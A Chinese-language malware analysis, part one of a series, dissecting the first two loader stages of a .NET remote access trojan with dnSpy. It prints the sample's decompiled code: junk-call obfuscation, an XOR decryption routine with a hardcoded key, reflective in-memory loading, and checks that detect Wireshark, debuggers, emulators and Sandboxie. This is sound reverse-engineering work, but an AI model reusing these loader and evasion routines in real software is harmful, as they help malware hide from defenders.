导语:DOTNET就是.NET, 严格说是:.Net Framework框架 。在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析。
DOTNET背景知识介绍
DOTNET就是.NET, 严格说是:.Net Framework框架 。但为什么叫DOTNET(.NET)呢?在计算机行业DOT是Distributed Object Technology的简称,意为分布式对象技术。DOT恰好与“点”的英语单词相同,DOT的音标[dɔt]。.NET是一个微软开发的编程环境,里面可以使用C#,VB等多种编程语言。
借助于.NET平台,可以创建和使用基于XML的应用程序、进程和Web站点以及服务,它们之间可以按设计、在任何平台或智能设备上共享和组合信息与功能,以向单位和个人提供定制好的解决方案。
.NET是一个全面的产品家族,它建立在行业标准和Internet标准之上,提供开发(工具)、管理(服务器)、使用(构造块服务和智能客户端)以及 XML Web 服务体验(丰富的用户体验),.NET将成为你今天正在使用的Microsoft应用程序、工具和服务器的一部分。.NET目前的版本共有:
1.2003年的 .net 1.0 1.1;
2.2005年的 .net 2.0;
3.2008年的 .net 3.0 3.5;
4.2010年的 .net 4.0;
5.2011年的 .net 4.1;
6.2015年的 .net 4.6;
在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析,本文所讲的RAT样本可以在VirusBay上找到。此外,这是一个本地镜像。 为了在对样本讲解时,避免发生恶意执行,这个压缩文件的密码已被加密。不过,我可以给出一些简单的样本信息。
MD5: 5a762e5381d28524d554499a2337ae34 SHA-1: c24ce7b94588a08f4a9ddfc8554ad419f1a641d9 SHA-256: 6451dad939c9bdab292445db5668deb2059d524dcfc97fa2216c4736a2c0f3e4 File type: application/x-dosexec File size: 605.5 KB Detection rate: 26 / 67
编辑代码
在编辑代码时,有些人可能更喜欢IDE(Integrated Development Environment,集成开发环境),不过在本文所举的样本中,既可以使用Visual Studio,也可以使用dnSpy(dnSpy 是0xd4d 开发的 .NET 程序调试神器。说它是神器真的毫不为过!它能在完全没有源码的情况下即时调试程序,甚至还能修改程序!)中的编辑功能,只要能够完成分析即可。在本文的实操中,我使用的是由dnSpy生成的导出项目。为了打开、编辑和执行这些项目,我使用了Visual Studio 2017 Community Edition。要使用这种方式,我就不得不修改某些部分的代码,以保持反编译代码的可执行性。如果你使用的是不同的工具,则可能需要对配置进行不同的更改,这点很重要。
加载程序——第1阶段
二进制文件使用了.NET编写,dnSpy在选择LJFES.exePTX.exe时针对的是特定的.NET版本,信息如下所示。
Runtime: .NET Framework 2.0
注意,二进制文件还同时给出了应用程序的入口点,这是分析的起点。请注意,名称空间和类以及方法都是给定的。
ZTXNOIRBCXBXUMZRCRBVONMOE.CUCIZZCCOCRRXIIOZIOOEIRCUITOT.Main
主函数会调用很多函数,几乎所有函数都被存储在同一个类中。这其实是攻击者采用的一种混淆形式。此外,由于名称不可读,这些名称也被混淆了。完整的主函数如下所示,然后在后面的分析中,我们会使用一个简化了的版本。
public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){ CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHJFMHF(38631, 98479); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SNQBXWTXMUKB(new byte[53106]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PUYFLGGDOAYJ(121312, 86355); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LMQIIMGGOR(new byte[12476]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GFJCCSOR(26136, 49680); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UJFSXGAZQMBM(new byte[130305]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UTAUPRBKY(61078, 60438); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KDBCANTHNL(new byte[67947]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GUPPZKMOUTHS(48613, 111162); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SWWFQBCVE(new byte[68443]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FMLAZRZYNVOG(50291, 77251); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZJMQXDLXT(new byte[92735]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YFXJVV(29395, 92506); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QUSDTFXR(new byte[79830]); byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR"); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AXNFFLXLOSIA(63805, 46381); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ABDLEDZAXPI(new byte[28547]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FIYHHBBYKAQO(1077, 107426); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WVNGHSRNNRW(new byte[7210]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YMFKLGT(84717, 131741); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DUGKLHAIZSIC(new byte[112375]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSMNUCDDYP(26809, 96205); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RXLHFDN(new byte[70296]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IIYFVXDCL(110008, 123655); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YCIFEQTKIMBH(new byte[66557]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XPJPEETESWNQ(85352, 44300); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FRRNVGVUPKAK(new byte[26150]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JTHDUJAD(70044, 102451); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LXJKMUOUETOB(new byte[33786]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KGNXTBFTLZ(126533, 49848); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CLQMOSHU(new byte[57574]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OYDCPYBAAAE(86430, 64473); byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RVLEDLYWW(new byte[10756]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PXBHPDWVN(56567, 105039); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OKAVSWEEQ(new byte[107989]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VDRXKVIH(35558, 40262); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KQIBXGQD(new byte[53143]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MCKHBLWK(66087, 21650); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WJSGJDAR(new byte[93091]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTOLOAMNUOAN(128620, 111623); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HBDIBJKKQCOJ(new byte[97335]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VEKZJUAIM(29887, 102596); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LCATOKVEKPTZ(new byte[127254]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSCIXMB(107196, 77484); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KKQMEBZIO(new byte[92008]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ETOWGFYK(92973, 12027); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CNLDDWEMLUWT(new byte[92545]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MSCKMMHT(96916, 131543); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYNFUAVORGAY(new byte[117518]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIEPJ(1124, 114459); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NVDUSBKTHWPY(new byte[67584]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BNSXJHLJCQFS(77591, 129966); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KAOYXHWXPKHW(new byte[56030]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QEJDHVDEKU(29036, 100059); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QBHYSFNDODCG(new byte[79456]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTDEHVQCEIF(68483, 125888); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KPCPFNZHKQKR(new byte[75813]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YLWLSJ(78413, 88572); for (int i = 0; i < array.Length; i++) { byte[] expr_3C8_cp_0 = array; int expr_3C8_cp_1 = i; expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HHYRMSBR(new byte[85113]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ESZUWZDBNUD(65224, 60464); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EEGMUGMVG(new byte[3647]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MLHHVQIIIBOT(10216, 103751); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WKLCOISDVBWB(new byte[66068]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJHOFGGLMD(74547, 62481); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNTMBQJXAF(new byte[50952]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VVZJGCLEJZHM(46655, 101301); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBJFUSJPIKL(new byte[4035]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OGIXEORWXDWD(121228, 88544); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTPHVSUJ(new byte[96233]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FBQUULKKQAGP(15281, 104569); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DSTNWXQOBH(new byte[120349]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KLSGDKG(39153, 1316); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JLKNRQLMIVLU(new byte[73582]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SRIXURKILV(44588, 2102); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IGOGIYKH(new byte[4778]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQAVW(29351, 49183); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIMCQZZD(new byte[124507]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UGZYFB(75038, 131858); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KCLEJTCLDQPE(new byte[107104]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ADQYTSVPQGBG(125381, 125207); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CFBZKGCAEQJI(new byte[90505]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TNKAZYFCFZUV(73670, 116380); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BKRNZLORRYP(new byte[111850]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EFGNNXCWX(4846, 92862); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BTPNIKAUMPE(new byte[58549]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWZIUZMJVFTG(5632, 56508); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TYWCHBLIGSZH(new byte[47524]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIIXCFCNLEAG(110891, 35167); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNYNDYHTODO(new byte[77354]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JKQLANHCJYWK(132457, 92627); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PJUEGQPH(new byte[43089]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MWXDG(4743, 121556); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEZJVAQKLDW(new byte[66796]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QGMEUFVGXCK(46630, 8522); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQSOHIQAVWF(new byte[78875]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MTSDJEJIU(102858, 13820); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ORKAPSQRMZT(new byte[20637]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.REORSSMNQOTJ(126406, 91441); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEDJJXAOIBZ(new byte[60647]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XEKBYWCKZYA(83408, 104304); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XCGFVUXSIJL(new byte[35931]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NHWHLZMPJ(82607, 62439); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ECJXKKSOEFJG(new byte[35098]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MDLHCRUKJGAA(52580, 44716); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EGARDBWBEBN(new byte[63103]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CQDFUFY(129160, 20890); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UNAGZB(new byte[15161]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIGFUOPPJKOV(1217, 64904); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VNGSBPECZGHV(new byte[30783]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZUSXOBUBULG(27351, 45844); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SEQKDYLUYADQ(new byte[53847]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CWEJIC(84696, 31412); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTRBEMX(new byte[91720]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FZDZRUQYCWI(93837, 107976); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JPYAJPYBNJN(new byte[39570]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TQAUKKQFRJMI(129146, 81054); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WIAMTKSLMQGF(new byte[109260]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VAHGJRMXJTS(44178, 68995); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJOHZVTGYBUY(new byte[36782]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RUFJQNAFUDKW(101320, 39551); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UFPBSRMMDWSY(new byte[18643]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BEGNXSDMLDC(27534, 71029); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YBZJVK(new byte[50494]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PWWNWWZKUDCV(37041, 73409); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZPFJJYJA(new byte[93788]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZLRLXUILEFUC(20356, 95080); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBXQARBAJN(new byte[83868]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PIXHOHTHJKUN(119417, 101495); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWJLPP(new byte[7859]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PPLWQVWRIAP(11079, 7257); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WYSUUDIGDDIH(new byte[122537]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AEGZKKGIBOI(49566, 112500); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYPXGGBWYKZ(new byte[2126]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EPIXZZNHOMMJ(99796, 125510); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JZOZSCWGZ(new byte[13728]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LHIDXLECQLAX(110239, 59031); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WTRGETKVKOCH(new byte[25328]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QSXKJRHJ(100070, 95973); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHTAMMXGYEZT(new byte[126768]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VBOSOMZUUG(17667, 72841); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QFLRSHETGLKK(new byte[15102]); cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}
快速浏览CUCIZZCCOCRRXIIOZIOOEIRCUITOT类中的函数,通过这些信息,足以了解此段代码是垃圾代码。其唯一目的是增加分析师的难度。下面给出了其中一些函数:
public static uint QHJFMHF(int KXKXKNHS, int SODCVNJYHKU){ return 188317u;} // Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260public static byte[] SNQBXWTXMUKB(byte[] OOMWSKNQIED){ return OOMWSKNQIED;} // Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264public static uint PUYFLGGDOAYJ(int YYKUVHI, int GKZTRRU){ return 94478u;} // Token: 0x06000004 RID: 4 RVA: 0x0000207C File Offset: 0x0000027Cpublic static byte[] LMQIIMGGOR(byte[] ZTHDVNTLJYEP){ return ZTHDVNTLJYEP;} // Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280public static uint GFJCCSOR(int QGUGXDOBJD, int QRIWWUFTYCG){ return 117451u;}
在删除主类中的垃圾调用后,代码变得更具可读性。
public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){ byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR"); byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); for (int i = 0; i < array.Length; i++) { byte[] expr_3C8_cp_0 = array; int expr_3C8_cp_1 = i; expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}
第一个数组名为array,它相当于是嵌入式内容CIIVMOCZIUEZBIBMECURIIXRXROXR。第二个数组相当于cunkai.notin的返回值。之后的for循环会使用两个数组,执行一些计算来改变原始数组。然后,调用另一个未知函数。
buzi命名空间中cunkai类中的注释函数很简单,如下所示。
public static byte[] notin(string kesten){ return Encoding.ASCII.GetBytes(kesten);}
第二个未知函数kazmaz调用thunda函数,但如下所示,名为faga的变量从未在函数中使用过,因此是垃圾代码。
public static byte[] kazmaz(byte[] haspu, string[] mushenik, int faga){ return (byte[])cunkai.thunda(haspu).EntryPoint.Invoke(null, new object[] { mushenik });}
thunda函数的返回值用作字节数组,然后调用此字节数组的入口点。看看thunda函数,就会发现加载程序的作用是显而易见的。
public static Assembly thunda(byte[] trunda){ return AppDomain.CurrentDomain.Load(trunda);}
将名为trunda的给定字节数组加载到内存中,然后使用字符串数组mushenik中的项作为参数,调用加载的程序集的入口点。
可以使用dnSpy中的导出函数(位于“文件”菜单项下)或复制代码和其中的内容。可以通过在dnSpy中右键单击并选择Raw Save [name].来复制其中的内容。请务必折叠所有树中的节点,以避免将项目保存时的过度堆叠。
由于在复制代码时,ResourceManager并不会开箱即用,因此它被添加到所使用的新Visual Studio项目的内容中。可以使用 Properties.Resources.[name]引用这些对象,另外还值得注意的是,新项目有自己的入口点,应该相应地设置反编译代码的主函数。在本文的示例中,我使用了我自己的项目的主函数,然后调用了加载程序的主函数,我将其重命名为execute。修改后的代码如下:
public static void execute(string[] args){ byte[] array = Properties.Resources.CIIVMOCZIUEZBIBMECURIIXRXROXR; byte[] array2 = LoaderClass.GetAsciiStringAsBytes("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); for (int i = 0; i < array.Length; i++) { byte[] arrayCopy = array; int additionalCounter = i; arrayCopy[additionalCounter] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } //LoaderClass.LoadAndExecute(array, args, 25); File.WriteAllBytes("asset.exe", array);}
执行恶意软件的代码行有一个无用的参数,即25。这是LoadAndExecute函数中未使用的参数。数组不会执行其中的内容,而是被写入磁盘以进行进一步分析。
小结
由于要分析的内容往往穿插在各个阶段,所以在分析过程中牢记各个阶段的功能是有帮助的,这可以帮助我们进行下一个阶段的分析。在本例中,传递给原始二进制文件的参数被传递给第二阶段的dropper,快速总结二进制代码的行为可以为以后的分析提供一个清晰的思路。
1.Dropper加载有加密的内容;
2.Dropper加载有硬编码的解密密钥;
3.压缩文件被解密;
4.解密的内容被加载到内存中;
5.然后执行加载的内容;
6.提供给dropper的参数将传递给已加载的内容
加载程序——第2阶段
asset.exe文件也是Dot Net可执行文件,就像第一阶段dropper一样。使用dnSpy,可执行文件的原始名称变为可见:LJFES.exe。可执行文件的入口点是AA1.AA3.Main,这是分析开始的位置。在这个可执行文件中,没有其他名称空间和类,这大大简化了分析过程。简化后的函数如下:
这段代码看起来好像是由块组成的,且包含许多if语句。不过这些if语句代码块的内容不是相关的,只有通读完所有块,才能了解关于被分析部分的大量信息,这些部分可以是函数或类。注意,虽然需要阅读代码,但不需要完全理解每一行。不过稍后在详细分析时,充分理解代码是很重要的。为了说明这一点,将对LJFES.exe的主函数进行分析。
主函数中的每行代码都在try-catch结构中执行,catch-clause使用Exception类捕获任何异常。异常显示在消息框中,这个过程是可见的,可能表明恶意软件仍在开发中,是个测试版本。
下一个块是一个执行多个函数的if语句。如果满足语句中的任何条件,程序将自行终止。在遍历一些代码行之后,找到最后一个(也就是最大的)代码块。如果类型的名称是RunLib,则会遇到四个if语句,如果满足条件,则每个语句都调用给定的RunLib的组成部分。这很可能是恶意远程执行中的关键部分,因为它对其中所存在的功能以及这些功能的源代码所在的位置,都了如指掌
依据上述分析,我们就可以详细查看一遍代码了。这一次的目标是完全理解,并对代码分析。与第一个二进制文件不同的是,在这个类中并不是所有的字段或方法都被混淆,比如下面给出的第一个if语句。
可以从此函数的名称中,清楚地了解它的用途,其中第一个、第三个和最后一个函数(即D)的第一个字母最有可能表示检测。为确保函数的功能和其名称相符,我们将从DWireshark函数开始对它们进行分析。
private static bool DWireshark(){ Process[] processes = Process.GetProcesses(); foreach (Process process in processes) { if (process.MainWindowTitle.Equals("The Wireshark Network Analyzer")) { return true; } } return false;}
如果正在运行的任何主窗口标头明确表示了Wireshark网络分析器的进程,则该函数返回true。这会导致恶意软件关闭,从而避免被分析。
接下来是第二个函数,名为IsDebuggerPresent。为了避免被调试,恶意软件经常检测调试器是否附加到进程中。
[DllImport("kernel32")]private static extern bool IsDebuggerPresent();
使用kernel32内部的本机函数,返回一个布尔值,该值取决于是否附加了调试器。接下来是第三个函数,其代码如下。
系统的正常运行时间(以毫秒为单位)可以通过Environment.TickCount字段获得。这两个值之间的睡眠也应该是两个保存值之间的近似差值,模拟器通常会对sleep函数进行修补,从而有效地跳过程序应该休眠的时间。这样,使用持续时间为几分钟的睡眠调用,无法避开模拟器。
由于操作系统的调度,睡眠时差可能比给定值略大或略小,但不会超出很多,然后将睡眠时间与两个保存值之间的差异进行比较。请注意,这个差异值有时小于睡眠时间(基于我自己在概念验证中编写此类检测时的测试),这会导致此恶意软件在某些不确定情况下被关闭,而sleep函数也没有被检测。
最后一个函数的代码如下:
[DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string lpModuleName); private static bool DSandboxie(){ return AA3.GetModuleHandle("SbieDll.dll").ToInt32() != 0;}
使用本机函数GetModuleHandle(保存在kernel32.dll中),可以获得指向句柄的指针。如果这个指针不是0,则意味着DLL已经被加载。如果它就是0,DLL就没有被加载到内存中,因此应用程序不在Sandboxie沙箱中,Sandboxie是我们测试是用的工具,Sandboxie是一款较为著名的系统安全工具,允许你可以在沙箱环境中运行软件, Sandboxie会帮你清除一切痕迹。包括上网、程序运行痕迹或是在Sandboxie沙箱进程中下载的文件痕迹等。还可用来还原注册表、主页、收藏夹等。
如果没有检测到函数返回true,则继续执行程序。环境检测和具有所谓密钥功能的if语句之间只有10行代码。这10行代码的内容如下:
string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"; bool flag = true; bool flag2 = false; bool flag3 = true; bool flag4 = false; byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE"); string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk"); byte[] malkopute = new byte[255]; Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq)); byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);
稍后,名为golemiq的字符串在函数calld bigdick中使用。在第一次使用中,设置变量组件。第二次使用中,设置变量array3, bigdick函数的代码如下。
public static byte[] bigdick(byte[] feromero, byte[] malkopute, string golemiq) { malkopute = Encoding.ASCII.GetBytes(golemiq); for (int i = 0; i < feromero.Length; i++) { int num = i; feromero[num] ^= (byte)(malkopute[i % golemiq.Length] >> i + 5 + malkopute.Length & 150); } return feromero; }
函数声明中的名称和主函数中使用的变量的名称相同,第一个变量在函数末尾返回。因此,将此变量重命名为output是合乎逻辑的。
第二个变量是计算期间在函数内执行的输入,用于根据自定义加密方法更改输出内容。因此,此时变量将重命名为input。
最后,提供的第三个参数将转换为字节数组并存储在输入内容中。这是所使用的自定义加密的密钥,因此按照逻辑要对这个变量密钥进行重命名。
另外函数的名称也可以更改为更有意义的内容,例如decrypt,因为它表示次函数会返回一个更改后的字节数组。稍后我们将使用该数组,下面就是重构后的代码。
public static byte[] decrypt(byte[] output, byte[] input, string key) { input = Encoding.ASCII.GetBytes(key); for (int i = 0; i < output.Length; i++) { int num = i; output[num] ^= (byte)(input[i % key.Length] >> i + 5 + input.Length & 150); } return output; }
名为flagN的变量(其中N是一个数字)只被设置一次,之后就再也不会改变。这一点很重要,因为调用加载库中的函数的if语句是根据这些flagN布尔值的值执行的。只有当值为true时,才会调用该函数。由于两个flagN布尔值被设置为了false,因此这些函数将永远不会被调用。这是恶意软件可能仍处于开发阶段的另一个证据,或者,它可能还在不断迭代中。
名为array的变量就是名为CCMIBETXUERE包含的内容。在下一行中,它基于字符串kozqk进行拆分,变量程序集被设置为拆分内容的第二项值的解密值。
名为array3的变量就是第一个拆分内容值的解密值,在根据函数和字段的描述重新命名它们之后,主函数的第一部分是清晰可读的,如下所示。
注意,有关检测技术的行Environment.Exit(0)因为调试目的,已被注释掉了。其中的内容也被修改了,因此它可以在Visual Studio项目中被正确加载。
接下来,主函数会从assemblyPart2程序集中选择RunLib类型,这是一个关于程序集文件类型的线索——库,为了获得对其的描述信息,我们会首先找出一个用来描述的概括性代码。
请注意,反编译代码中没有代码BindingFlags.InvokeMethod,使用的是value 256用于反编译代码。该值就是代码中使用的枚举值。由于Visual Studio无法处理枚举的直接值,因此它已被替换,确切的值可以在这里找到。
此外,按照逻辑,最后一个if语句中的内容此时应该被调整为Visual Studio里的合适函数,但实际情况却并非如此,这可能是恶意软件仍在进一步研发的另一个标识。默认情况下,决定执行此命令的标志会设置为false(并且永远不会更改),这就是为什么执行永远不会发生的原因。
其中的代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。
本文所讲的示例中,加载程序共分了三个阶段,其中阶段三又分为两部分,本篇先将前两个阶段,第三阶段会在下篇讲到。